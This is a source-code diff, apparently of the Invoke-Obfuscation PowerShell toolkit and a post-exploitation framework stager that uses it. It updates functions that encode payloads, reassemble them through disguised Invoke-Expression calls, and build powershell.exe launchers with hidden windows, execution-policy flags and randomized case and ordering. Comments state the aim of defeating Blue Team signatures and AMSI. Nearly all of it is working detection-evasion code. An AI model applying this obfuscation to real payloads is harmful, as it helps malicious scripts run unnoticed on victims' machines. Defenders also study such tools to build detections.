$Trim = ([Char[]]$Trim | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
|
||||
$SplitOnDelim = Get-Random -Input @(" $SplitMethod '$DigitDelimiterChar'",".$SplitMethod2('$DigitDelimiterChar')")
|
||||
|
||||
# Generate random variable name to store the script's intermediate state while being reassembled.
|
||||
$RandomScriptVar = (Get-Random -Input @('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z') -Count (Get-Random -Input @(5..8)) | ForEach-Object {$UpperLowerChar = $_; If(Get-Random -Input @(0..1)) {$UpperLowerChar = $UpperLowerChar.ToUpper()} $UpperLowerChar}) -Join ''
|
||||
|
||||
# Build the first part of the decoding routine.
|
||||
$ScriptStringPart1 = "'$EncodedString'" + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $ForEachObject + ' '*(Get-Random -Input @(0,1)) + '{' + ' '*(Get-Random -Input @(0,1)) + "`$$RandomScriptVar" + ' '*(Get-Random -Input @(0,1)) + '=' + ' '*(Get-Random -Input @(0,1)) + "`$_ $SplitMethod '$IntDelimiterChar'" + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $ForEachObject + ' '*(Get-Random -Input @(0,1)) + '{' + ' '*(Get-Random -Input @(0,1)) + "'$DigitDelimiterChar'" + ' '*(Get-Random -Input @(0,1)) + ';' + ' '*(Get-Random -Input @(0,1)) + "`$_$SplitOnDelim" + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $ForEachObject + ' '*(Get-Random -Input @(0,1)) + '{' + ' '*(Get-Random -Input @(0,1)) + "`$_.$Length" + ' '*(Get-Random -Input @(0,1)) + '-' + ' '*(Get-Random -Input @(0,1)) + '1' + ' '*(Get-Random -Input @(0,1)) + '}' + ' '*(Get-Random -Input @(0,1)) + '}' + ' '*(Get-Random -Input @(0,1)) + ';'
|
||||
|
||||
# Randomly select between various conversion syntax options.
|
||||
$RandomStringSyntax = ([Char[]](Get-Random -Input @('[String]$_','$_.ToString()')) | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
|
||||
$RandomConversionSyntax = @()
|
||||
$RandomConversionSyntax += "[$CharStr]" + ' '*(Get-Random -Input @(0,1)) + "[$Int]" + ' '*(Get-Random -Input @(0,1)) + "`$_"
|
||||
$RandomConversionSyntax += "[$Int]" + ' '*(Get-Random -Input @(0,1)) + "`$_" + ' '*(Get-Random -Input @(0,1)) + (Get-Random -Input @('-as','-As','-aS','-AS')) + ' '*(Get-Random -Input @(0,1)) + "[$CharStr]"
|
||||
$RandomConversionSyntax = (Get-Random -Input $RandomConversionSyntax)
|
||||
|
||||
# Create array syntax for encoded $ScriptString as alternative to .Split/-Split syntax.
|
||||
$EncodedArray = ''
|
||||
([Char[]]$ScriptString) | ForEach-Object {$EncodedArray += ([Convert]::ToString(([Int][Char]$_),$EncodingBase) + ' '*(Get-Random -Input @(0,1)) + ',' + ' '*(Get-Random -Input @(0,1)))}
|
||||
|
||||
# Remove trailing comma from $EncodedArray.
|
||||
$EncodedArray = ('(' + ' '*(Get-Random -Input @(0,1)) + $EncodedArray.Trim().Trim(',') + ')')
|
||||
|
||||
# Generate random syntax to create/set OFS variable ($OFS is the Output Field Separator automatic variable).
|
||||
# Using Set-Item and Set-Variable/SV/SET syntax. Not using New-Item in case OFS variable already exists.
|
||||
# If the OFS variable did exists then we could use even more syntax: $varname, Set-Variable/SV, Set-Item/SET, Get-Variable/GV/Variable, Get-ChildItem/GCI/ChildItem/Dir/Ls
|
||||
# For more info: https://msdn.microsoft.com/en-us/powershell/reference/5.1/microsoft.powershell.core/about/about_automatic_variables
|
||||
$SetOfsVarSyntax = @()
|
||||
$SetOfsVarSyntax += 'Set-Item' + ' '*(Get-Random -Input @(1,2)) + "'Variable:OFS'" + ' '*(Get-Random -Input @(1,2)) + "''"
|
||||
$SetOfsVarSyntax += (Get-Random -Input @('Set-Variable','SV','SET')) + ' '*(Get-Random -Input @(1,2)) + "'OFS'" + ' '*(Get-Random -Input @(1,2)) + "''"
|
||||
$SetOfsVar = (Get-Random -Input $SetOfsVarSyntax)
|
||||
|
||||
$SetOfsVarBackSyntax = @()
|
||||
$SetOfsVarBackSyntax += 'Set-Item' + ' '*(Get-Random -Input @(1,2)) + "'Variable:OFS'" + ' '*(Get-Random -Input @(1,2)) + "' '"
|
||||
$SetOfsVarBackSyntax += (Get-Random -Input @('Set-Variable','SV','SET')) + ' '*(Get-Random -Input @(1,2)) + "'OFS'" + ' '*(Get-Random -Input @(1,2)) + "' '"
|
||||
$SetOfsVarBack = (Get-Random -Input $SetOfsVarBackSyntax)
|
||||
|
||||
# Randomize case of $SetOfsVar and $SetOfsVarBack.
|
||||
$SetOfsVar = ([Char[]]$SetOfsVar | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
|
||||
$SetOfsVarBack = ([Char[]]$SetOfsVarBack | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
|
||||
|
||||
# Generate the code that will iterate through each element of the array.
|
||||
$BaseScriptArray1 = "`$$RandomScriptVar[0..(`$$RandomScriptVar.$Length-1)]"
|
||||
|
||||
# Generate random JOIN syntax for all above options.
|
||||
$NewScriptArray1 = @()
|
||||
$NewScriptArray1 += $BaseScriptArray1 + ' '*(Get-Random -Input @(0,1)) + $Join + ' '*(Get-Random -Input @(0,1)) + "''"
|
||||
$NewScriptArray1 += $Join + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $BaseScriptArray1 + ' '*(Get-Random -Input @(0,1)) + ')'
|
||||
$NewScriptArray1 += $StrJoin + '(' + ' '*(Get-Random -Input @(0,1)) + "''" + ' '*(Get-Random -Input @(0,1)) + ',' + ' '*(Get-Random -Input @(0,1)) + $BaseScriptArray1 + ' '*(Get-Random -Input @(0,1)) + ')'
|
||||
$NewScriptArray1 += '"' + ' '*(Get-Random -Input @(0,1)) + '$(' + ' '*(Get-Random -Input @(0,1)) + $SetOfsVar + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + '"' + ' '*(Get-Random -Input @(0,1)) + '+' + ' '*(Get-Random -Input @(0,1)) + $StrStr + $BaseScriptArray1 + ' '*(Get-Random -Input @(0,1)) + '+' + '"' + ' '*(Get-Random -Input @(0,1)) + '$(' + ' '*(Get-Random -Input @(0,1)) + $SetOfsVarBack + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + '"'
|
||||
|
||||
# Randomly select one of the above commands.
|
||||
$NewScript1 = (Get-Random -Input $NewScriptArray1)
|
||||
|
||||
# Generate the code that will decrypt and execute the payload and randomly select one.
|
||||
$BaseScriptArray2 = @()
|
||||
$BaseScriptArray2 += '(' + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $NewScript1 + ' '*(Get-Random -Input @(0,1)) + ").$Trim(" + ' '*(Get-Random -Input @(0,1)) + "'$DigitDelimiterChar '" + ' '*(Get-Random -Input @(0,1)) + ").$SplitMethod2(" + ' '*(Get-Random -Input @(0,1)) + "'" + $DigitDelimiterChar + "'" + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $ForEachObject + ' '*(Get-Random -Input @(0,1)) + '{' + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $RandomConversionSyntax + ')' + ' '*(Get-Random -Input @(0,1)) + '}' + ' '*(Get-Random -Input @(0,1)) + ')'
|
||||
$BaseScriptArray2 += "`[$CharStr[]]" + ' '*(Get-Random -Input @(0,1)) + "[$Int[]]" + ' '*(Get-Random -Input @(0,1)) + "(" + ' '*(Get-Random -Input @(0,1)) + $NewScript1 + ' '*(Get-Random -Input @(0,1)) + ").$Trim(" + ' '*(Get-Random -Input @(0,1)) + "'$DigitDelimiterChar '" + ' '*(Get-Random -Input @(0,1)) + ").$SplitMethod2(" + ' '*(Get-Random -Input @(0,1)) + "'$DigitDelimiterChar'" + ' '*(Get-Random -Input @(0,1)) + ')'
|
||||
$BaseScriptArray2 = (Get-Random -Input $BaseScriptArray2)
|
||||
|
||||
# Generate random JOIN syntax for all above options.
|
||||
$NewScriptArray2 = @()
|
||||
$NewScriptArray2 += $BaseScriptArray2 + ' '*(Get-Random -Input @(0,1)) + $Join + ' '*(Get-Random -Input @(0,1)) + "''"
|
||||
$NewScriptArray2 += $Join + ' '*(Get-Random -Input @(0,1)) + '(' + $BaseScriptArray2 + ')'
|
||||
$NewScriptArray2 += $StrJoin + '(' + ' '*(Get-Random -Input @(0,1)) + "''" + ' '*(Get-Random -Input @(0,1)) + ',' + ' '*(Get-Random -Input @(0,1)) + $BaseScriptArray2 + ' '*(Get-Random -Input @(0,1)) + ')'
|
||||
|
||||
# Randomly select one of the above commands.
|
||||
$NewScript = (Get-Random -Input $NewScriptArray2)
|
||||
|
||||
# Generate random invoke operation syntax.
|
||||
# Below code block is a copy from Out-ObfuscatedStringCommand.ps1. It is copied into this encoding function so that this will remain a standalone script without dependencies.
|
||||
$InvokeExpressionSyntax = @()
|
||||
$InvokeExpressionSyntax += (Get-Random -Input @('IEX','Invoke-Expression'))
|
||||
# Added below slightly-randomized obfuscated ways to form the string 'iex' and then invoke it with . or &.
|
||||
# Though far from fully built out, these are included to highlight how IEX/Invoke-Expression is a great indicator but not a silver bullet.
|
||||
# These methods draw on common environment variable values and PowerShell Automatic Variable values/methods/members/properties/etc.
|
||||
$InvocationOperator = (Get-Random -Input @('.','&')) + ' '*(Get-Random -Input @(0,1))
|
||||
$InvokeExpressionSyntax += $InvocationOperator + "( `$ShellId[1]+`$ShellId[13]+'x')"
|
||||
$InvokeExpressionSyntax += $InvocationOperator + "( `$PSHome[" + (Get-Random -Input @(4,21)) + "]+`$PSHome[" + (Get-Random -Input @(30,34)) + "]+'x')"
|
||||
$InvokeExpressionSyntax += $InvocationOperator + "( `$env:Public[13]+`$env:Public[5]+'x')"
|
||||
$InvokeExpressionSyntax += $InvocationOperator + "( `$env:ComSpec[4," + (Get-Random -Input @(15,24,26)) + ",25]-Join'')"
|
||||
$InvokeExpressionSyntax += $InvocationOperator + "((" + (Get-Random -Input @('Get-Variable','GV','Variable')) + " '*mdr*').Name[3,11,2]-Join'')"
|
||||
$InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @("([String]''.Insert)" , "''.Insert.ToString()")) + '[' + (Get-Random -Input @(3,7,14,23,33)) + ',' + (Get-Random -Input @(10,26,41)) + ",27]-Join''" + ")"
|
||||
$InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @("([String]''.Normalize)" , "''.Normalize.ToString()")) + '[' + (Get-Random -Input @(3,13,23,33,55,59,77)) + ',' + (Get-Random -Input @(15,35,41,45)) + ",46]-Join''" + ")"
|
||||
$InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @("([String]''.Chars)" , "''.Chars.ToString()")) + '[' + (Get-Random -Input @(11,15)) + ',' + (Get-Random -Input @(18,24)) + ",19]-Join''" + ")"
|
||||
$InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @("([String]''.SubString)" , "''.SubString.ToString()")) + '[' + (Get-Random -Input @(3,13,17,26,37,47,51,60,67)) + ',' + (Get-Random -Input @(29,63,72)) + ',' + (Get-Random -Input @(30,64)) + "]-Join''" + ")"
|
||||
$InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @("([String]''.Remove)" , "''.Remove.ToString()")) + '[' + (Get-Random -Input @(3,14,23,30,45,56,65)) + ',' + (Get-Random -Input @(8,12,26,50,54,68)) + ',' + (Get-Random -Input @(27,69)) + "]-Join''" + ")"
|
||||
$InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @("([String]''.LastIndexOfAny)" , "''.LastIndexOfAny.ToString()")) + '[' + (Get-Random -Input @(0,8,34,42,67,76,84,92,117,126,133)) + ',' + (Get-Random -Input @(11,45,79,95,129)) + ',' + (Get-Random -Input @(12,46,80,96,130)) + "]-Join''" + ")"
|
||||
$InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @("([String]''.LastIndexOf)" , "''.LastIndexOf.ToString()")) + '[' + (Get-Random -Input @(0,8,29,37,57,66,74,82,102,111,118,130,138,149,161,169,180,191,200,208,216,227,238,247,254,266,274,285,306,315,326,337,345,356,367,376,393,402,413,424,432,443,454,463,470,491,500,511)) + ',' + (Get-Random -Input @(11,25,40,54,69,85,99,114,141,157,172,188,203,219,235,250,277,293,300,333,348,364,379,387,420,435,451,466,485,518)) + ',' + (Get-Random -Input @(12,41,70,86,115,142,173,204,220,251,278,349,380,436,467)) + "]-Join''" + ")"
|
||||
$InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @("([String]''.IsNormalized)" , "''.IsNormalized.ToString()")) + '[' + (Get-Random -Input @(5,13,26,34,57,61,75,79)) + ',' + (Get-Random -Input @(15,36,43,47)) + ",48]-Join''" + ")"
|
||||
$InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @("([String]''.IndexOfAny)" , "''.IndexOfAny.ToString()")) + '[' + (Get-Random -Input @(0,4,30,34,59,68,76,80,105,114,121)) + ',' + (Get-Random -Input @(7,37,71,83,117)) + ',' + (Get-Random -Input @(8,38,72,84,118)) + "]-Join''" + ")"
|
||||
$InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @("([String]''.IndexOf)" , "''.IndexOf.ToString()")) + '[' + (Get-Random -Input @(0,4,25,29,49,58,66,70,90,99,106,118,122,133,145,149,160,171,180,188,192,203,214,223,230,242,246,257,278,287,298,309,313,324,335,344,361,370,381,392,396,407,418,427,434,455,464,475)) + ',' + (Get-Random -Input @(7,21,32,46,61,73,87,102,125,141,152,168,183,195,211,226,249,265,272,305,316,332,347,355,388,399,415,430,449,482)) + ',' + (Get-Random -Input @(8,33,62,74,103,126,153,184,196,227,250,317,348,400,431)) + "]-Join''" + ")"
|
||||
|
||||
# Randomly choose from above invoke operation syntaxes.
|
||||
$InvokeExpression = (Get-Random -Input $InvokeExpressionSyntax)
|
||||
|
||||
# Randomize the case of selected invoke operation.
|
||||
$InvokeExpression = ([Char[]]$InvokeExpression | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
|
||||
|
||||
# Choose random Invoke-Expression/IEX syntax and ordering: IEX ($ScriptString) or ($ScriptString | IEX)
|
||||
$InvokeOptions = @()
|
||||
$InvokeOptions += ' '*(Get-Random -Input @(0,1)) + $InvokeExpression + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $NewScript + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1))
|
||||
$InvokeOptions += ' '*(Get-Random -Input @(0,1)) + $NewScript + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $InvokeExpression
|
||||
|
||||
# Randomly choose from above invoke operation syntaxes.
|
||||
$NewScript = (Get-Random -Input $InvokeOptions)
|
||||
|
||||
# Reassemble all components of the final command.
|
||||
$NewScript = $ScriptStringPart1 + $NewScript + '}'
|
||||
|
||||
# If user did not include -PassThru flag then continue with adding execution flgs and powershell.exe to $NewScript.
|
||||
If(!$PSBoundParameters['PassThru'])
|
||||
{
|
||||
# Array to store all selected PowerShell execution flags.
|
||||
$PowerShellFlags = @()
|
||||
|
||||
# Build the PowerShell execution flags by randomly selecting execution flags substrings and randomizing the order.
|
||||
# This is to prevent Blue Team from placing false hope in simple signatures for common substrings of these execution flags.
|
||||
$CommandlineOptions = New-Object String[](0)
|
||||
If($PSBoundParameters['NoExit'])
|
||||
{
|
||||
$FullArgument = "-NoExit";
|
||||
$CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 4 -Maximum ($FullArgument.Length+1)))
|
||||
}
|
||||
If($PSBoundParameters['NoProfile'])
|
||||
{
|
||||
$FullArgument = "-NoProfile";
|
||||
$CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 4 -Maximum ($FullArgument.Length+1)))
|
||||
}
|
||||
If($PSBoundParameters['NonInteractive'])
|
||||
{
|
||||
$FullArgument = "-NonInteractive";
|
||||
$CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 5 -Maximum ($FullArgument.Length+1)))
|
||||
}
|
||||
If($PSBoundParameters['NoLogo'])
|
||||
{
|
||||
$FullArgument = "-NoLogo";
|
||||
$CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 4 -Maximum ($FullArgument.Length+1)))
|
||||
}
|
||||
If($PSBoundParameters['WindowStyle'] -OR $WindowsStyle)
|
||||
{
|
||||
$FullArgument = "-WindowStyle"
|
||||
If($WindowsStyle) {$ArgumentValue = $WindowsStyle}
|
||||
Else {$ArgumentValue = $PSBoundParameters['WindowStyle']}
|
||||
|
||||
# Randomly decide to write WindowStyle value with flag substring or integer value.
|
||||
Switch($ArgumentValue.ToLower())
|
||||
{
|
||||
'normal' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('0','n','no','nor','norm','norma'))}}
|
||||
'hidden' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('1','h','hi','hid','hidd','hidde'))}}
|
||||
'minimized' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('2','mi','min','mini','minim','minimi','minimiz','minimize'))}}
|
||||
'maximized' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('3','ma','max','maxi','maxim','maximi','maximiz','maximize'))}}
|
||||
default {Write-Error "An invalid `$ArgumentValue value ($ArgumentValue) was passed to switch block for Out-PowerShellLauncher."; Exit;}
|
||||
}
|
||||
|
||||
$PowerShellFlags += $FullArgument.SubString(0,(Get-Random -Minimum 2 -Maximum ($FullArgument.Length+1))) + ' '*(Get-Random -Minimum 1 -Maximum 3) + $ArgumentValue
|
||||
}
|
||||
If($PSBoundParameters['ExecutionPolicy'] -OR $ExecutionPolicy)
|
||||
{
|
||||
$FullArgument = "-ExecutionPolicy"
|
||||
If($ExecutionPolicy) {$ArgumentValue = $ExecutionPolicy}
|
||||
Else {$ArgumentValue = $PSBoundParameters['ExecutionPolicy']}
|
||||
# Take into account the shorted flag of -EP as well.
|
||||
$ExecutionPolicyFlags = @()
|
||||
$ExecutionPolicyFlags += '-EP'
|
||||
For($Index=3; $Index -le $FullArgument.Length; $Index++)
|
||||
{
|
||||
$ExecutionPolicyFlags += $FullArgument.SubString(0,$Index)
|
||||
}
|
||||
$ExecutionPolicyFlag = Get-Random -Input $ExecutionPolicyFlags
|
||||
$PowerShellFlags += $ExecutionPolicyFlag + ' '*(Get-Random -Minimum 1 -Maximum 3) + $ArgumentValue
|
||||
}
|
||||
|
||||
# Randomize the order of the execution flags.
|
||||
# This is to prevent the Blue Team from placing false hope in simple signatures for ordering of these flags.
|
||||
If($CommandlineOptions.Count -gt 1)
|
||||
{
|
||||
$CommandlineOptions = Get-Random -InputObject $CommandlineOptions -Count $CommandlineOptions.Count
|
||||
}
|
||||
|
||||
# If selected then the -Command flag needs to be added last.
|
||||
If($PSBoundParameters['Command'])
|
||||
{
|
||||
$FullArgument = "-Command"
|
||||
$CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 2 -Maximum ($FullArgument.Length+1)))
|
||||
}
|
||||
|
||||
# Randomize the case of all command-line arguments.
|
||||
For($i=0; $i -lt $PowerShellFlags.Count; $i++)
|
||||
{
|
||||
$PowerShellFlags[$i] = ([Char[]]$PowerShellFlags[$i] | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
|
||||
}
|
||||
|
||||
# Random-sized whitespace between all execution flags and encapsulating final string of execution flags.
|
||||
$CommandlineOptions = ($CommandlineOptions | ForEach-Object {$_ + " "*(Get-Random -Minimum 1 -Maximum 3)}) -Join ''
|
||||
$CommandlineOptions = " "*(Get-Random -Minimum 0 -Maximum 3) + $CommandlineOptions + " "*(Get-Random -Minimum 0 -Maximum 3)
|
||||
|
||||
# Build up the full command-line string.
|
||||
If($PSBoundParameters['Wow64'])
|
||||
{
|
||||
$CommandLineOutput = "C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions) `"$NewScript`""
|
||||
}
|
||||
Else
|
||||
{
|
||||
# Obfuscation isn't about saving space, and there are reasons you'd potentially want to fully path powershell.exe (more info on this soon).
|
||||
#$CommandLineOutput = "$($Env:windir)\System32\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions) `"$NewScript`""
|
||||
$CommandLineOutput = "powershell $($CommandlineOptions) `"$NewScript`""
|
||||
}
|
||||
|
||||
# Make sure final command doesn't exceed cmd.exe's character limit.
|
||||
$CmdMaxLength = 8190
|
||||
If($CommandLineOutput.Length -gt $CmdMaxLength)
|
||||
{
|
||||
Write-Warning "This command exceeds the cmd.exe maximum allowed length of $CmdMaxLength characters! Its length is $($CmdLineOutput.Length) characters."
|
||||
}
|
||||
|
||||
$NewScript = $CommandLineOutput
|
||||
}
|
||||
|
||||
Return $NewScript
|
||||
}
|
|
@ -900,4 +900,4 @@ http://www.danielbohannon.com
|
|||
$ScriptString = (Get-Random -Input $InvokeOptions)
|
||||
|
||||
Return $ScriptString
|
||||
}
|
||||
}
|
|
@ -241,6 +241,7 @@ http://www.danielbohannon.com
|
|||
|
||||
$ParameterValidationAttributesToTreatStringAsScriptblock += 'helpmessage'
|
||||
$ParameterValidationAttributesToTreatStringAsScriptblock += 'outputtype'
|
||||
$ParameterValidationAttributesToTreatStringAsScriptblock += 'diagnostics.codeanalysis.suppressmessageattribute'
|
||||
|
||||
Switch($ObfuscationLevel)
|
||||
{
|
||||
|
@ -513,9 +514,9 @@ http://www.danielbohannon.com
|
|||
# Gather substring preceding the current String token to see if we need to treat the obfuscated string as a scriptblock.
|
||||
$ParameterBindingName = $ScriptString.SubString(0,$Token.Start)
|
||||
$ParameterBindingName = $ParameterBindingName.SubString(0,$ParameterBindingName.LastIndexOf('('))
|
||||
$ParameterBindingName = $ParameterBindingName.SubString($ParameterBindingName.LastIndexOf('[')+1).Trim()
|
||||
$ParameterBindingName = $ParameterBindingName.SubString($ParameterBindingName.LastIndexOf('[')+1).Trim()
|
||||
# Filter out values that are not Parameter Binding due to contain whitespace, some special characters, etc.
|
||||
If(!$ParameterBindingName.Contains(' ') -AND !$ParameterBindingName.Contains('.') -AND !$ParameterBindingName.Contains(']') -AND !($ParameterBindingName.Length -eq 0))
|
||||
If(!$ParameterBindingName.Contains(' ') -AND !$ParameterBindingName.Contains(']') -AND !($ParameterBindingName.Length -eq 0))
|
||||
{
|
||||
# If we have a match then set boolean to True so result will be encapsulated with curly braces at the end of this function.
|
||||
If($ParameterValidationAttributesToTreatStringAsScriptblock -Contains $ParameterBindingName.ToLower())
|
||||
|
@ -671,7 +672,7 @@ http://www.danielbohannon.com
|
|||
$EncapsulateAsScriptBlockInsteadOfParentheses = $TRUE
|
||||
}
|
||||
|
||||
If(($SubString.Contains('parametersetname') -OR $SubString.Contains('confirmimpact')) -AND !$SubString.Contains('defaultparametersetname') -AND $SubString.Contains('='))
|
||||
If($SubString.Contains('parametersetname') -OR $SubString.Contains('confirmimpact') -AND !$SubString.Contains('defaultparametersetname') -AND $SubString.Contains('='))
|
||||
{
|
||||
# For strings in ParameterSetName parameter binding (but not DefaultParameterSetName) then we will only obfuscate with tick marks.
|
||||
# Otherwise we may get errors depending on the version of PowerShell being run.
|
||||
|
@ -690,6 +691,7 @@ http://www.danielbohannon.com
|
|||
default {Write-Error "An invalid `$ObfuscationLevel value ($ObfuscationLevel) was passed to switch block for String Token Obfuscation."; Exit}
|
||||
}
|
||||
}
|
||||
|
||||
# Evenly trim leading/trailing parentheses.
|
||||
While($ObfuscatedToken.StartsWith('(') -AND $ObfuscatedToken.EndsWith(')'))
|
||||
{
|
||||
|
@ -860,9 +862,7 @@ http://www.danielbohannon.com
|
|||
[Int]
|
||||
$ObfuscationLevel
|
||||
)
|
||||
if($Token.Type -ne 'Command') {
|
||||
$ScriptString
|
||||
}
|
||||
|
||||
# Set $Token.Content in a separate variable so it can be modified since Content is a ReadOnly property of $Token.
|
||||
$TokenContent = $Token.Content
|
||||
|
||||
|
@ -1341,7 +1341,6 @@ http://www.danielbohannon.com
|
|||
|
||||
# Function name declarations are CommandArgument tokens that cannot be obfuscated with concatenations.
|
||||
# For these we will obfuscated them with ticks because this changes the string from AMSI's perspective but not the final functionality.
|
||||
# If($ScriptString.SubString(0,$Token.Start-1).Trim().ToLower().EndsWith('function'))
|
||||
If($ScriptString.SubString(0,$Token.Start-1).Trim().ToLower().EndsWith('function') -or $ScriptString.SubString(0,$Token.Start-1).Trim().ToLower().EndsWith('filter'))
|
||||
{
|
||||
$ScriptString = Out-ObfuscatedWithTicks $ScriptString $Token
|
||||
|
@ -2099,4 +2098,4 @@ http://www.danielbohannon.com
|
|||
$ScriptString = $ScriptString.SubString(0,$Token.Start) + $ScriptString.SubString($Token.Start+$Token.Length)
|
||||
|
||||
Return $ScriptString
|
||||
}
|
||||
}
|
|
@ -350,7 +350,7 @@ http://www.danielbohannon.com
|
|||
Else
|
||||
{
|
||||
# Obfuscation isn't about saving space, and there are reasons you'd potentially want to fully path powershell.exe (more info on this soon).
|
||||
#$PathToPowerShell = "$WinPath\System32\WindowsPowerShell\v1.0\powershell.exe"
|
||||
#$PathToPowerShell = "$($Env:windir)\System32\WindowsPowerShell\v1.0\powershell.exe"
|
||||
$PathToPowerShell = "powershell"
|
||||
}
|
||||
|
||||
|
|
|
@ -348,7 +348,7 @@ http://www.danielbohannon.com
|
|||
Else
|
||||
{
|
||||
# Obfuscation isn't about saving space, and there are reasons you'd potentially want to fully path powershell.exe (more info on this soon).
|
||||
#$CommandLineOutput = "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions) `"$NewScript`""
|
||||
#$CommandLineOutput = "$($Env:windir)\System32\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions) `"$NewScript`""
|
||||
$CommandLineOutput = "powershell $($CommandlineOptions) `"$NewScript`""
|
||||
}
|
||||
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
Invoke-Obfuscation v1.7
|
||||
Invoke-Obfuscation v1.8
|
||||
===============
|
||||
|
||||
![Invoke-Obfuscation Screenshot](https://github.com/danielbohannon/danielbohannon.github.io/blob/master/Invoke-Obfuscation%20Screenshot.png)
|
||||
|
@ -70,20 +70,20 @@ Invoke-Obfuscation is released under the Apache 2.0 license.
|
|||
|
||||
Release Notes
|
||||
-------------
|
||||
v1.0 - 2016-09-25 DerbyCon 6.0, Louisville: PUBLIC Release of Invoke-Obfuscation.
|
||||
v1.0 - 2016-09-25 DerbyCon 6.0 (Louisville, Kentucky USA): PUBLIC Release of Invoke-Obfuscation.
|
||||
|
||||
v1.1 - 2016-10-09 SANS DFIR Summit, Prague: Added -f format operator re-ordering
|
||||
v1.1 - 2016-10-09 SANS DFIR Summit (Prague, Czech Republic): Added -f format operator re-ordering
|
||||
functionality to all applicable TOKEN obfuscation functions. Also added additional
|
||||
syntax options for setting variable values.
|
||||
|
||||
v1.2 - 2016-10-20 CODE BLUE, Tokyo: Added Type TOKEN obfuscation (direct type
|
||||
v1.2 - 2016-10-20 CODE BLUE (Tokyo, Japan): Added Type TOKEN obfuscation (direct type
|
||||
casting with string obfuscation options for type name).
|
||||
|
||||
v1.3 - 2016-10-22 Hacktivity, Budapest: Added two new LAUNCHERs: CLIP+ and CLIP++.
|
||||
v1.3 - 2016-10-22 Hacktivity (Budapest, Hungary): Added two new LAUNCHERs: CLIP+ and CLIP++.
|
||||
Also added additional (and simpler) array char conversion syntax for all ENCODING
|
||||
functions that does not require For-EachObject/%.
|
||||
|
||||
v1.4 - 2016-10-28 BruCON, Ghent: Added new BXOR ENCODING function. Also enhanced
|
||||
v1.4 - 2016-10-28 BruCON (Ghent, Belgium): Added new BXOR ENCODING function. Also enhanced
|
||||
randomized case for all components of all ENCODING functions as well as for
|
||||
PowerShell execution flags for all LAUNCHERs. Finally, added -EP shorthand option
|
||||
for -ExecutionPolicy to all LAUNCHERs as well as the optional integer representation
|
||||
|
@ -144,3 +144,6 @@ happen as this causes errors).
|
|||
v1.7 - 2017-03-03 nullcon (Goa, India):
|
||||
- Added 3 new LAUNCHERs: RUNDLL, RUNDLL++ and MSHTA++
|
||||
- Added additional ExecutionContext wildcard variable strings
|
||||
|
||||
v1.8 - 2017-07-27 Black Hat (Las Vegas, Nevada USA):
|
||||
- Added 2 new ENCODING options: Special Characters and Whitespace
|
|
@ -48,7 +48,7 @@ class Stager:
|
|||
'ObfuscateCommand' : {
|
||||
'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.',
|
||||
'Required' : False,
|
||||
'Value' : r'Token\All\1,Launcher\STDIN++\12467'
|
||||
'Value' : r'Token\All\1,Launcher\PS\12467'
|
||||
},
|
||||
'UserAgent' : {
|
||||
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
|
||||
|
@ -93,6 +93,9 @@ class Stager:
|
|||
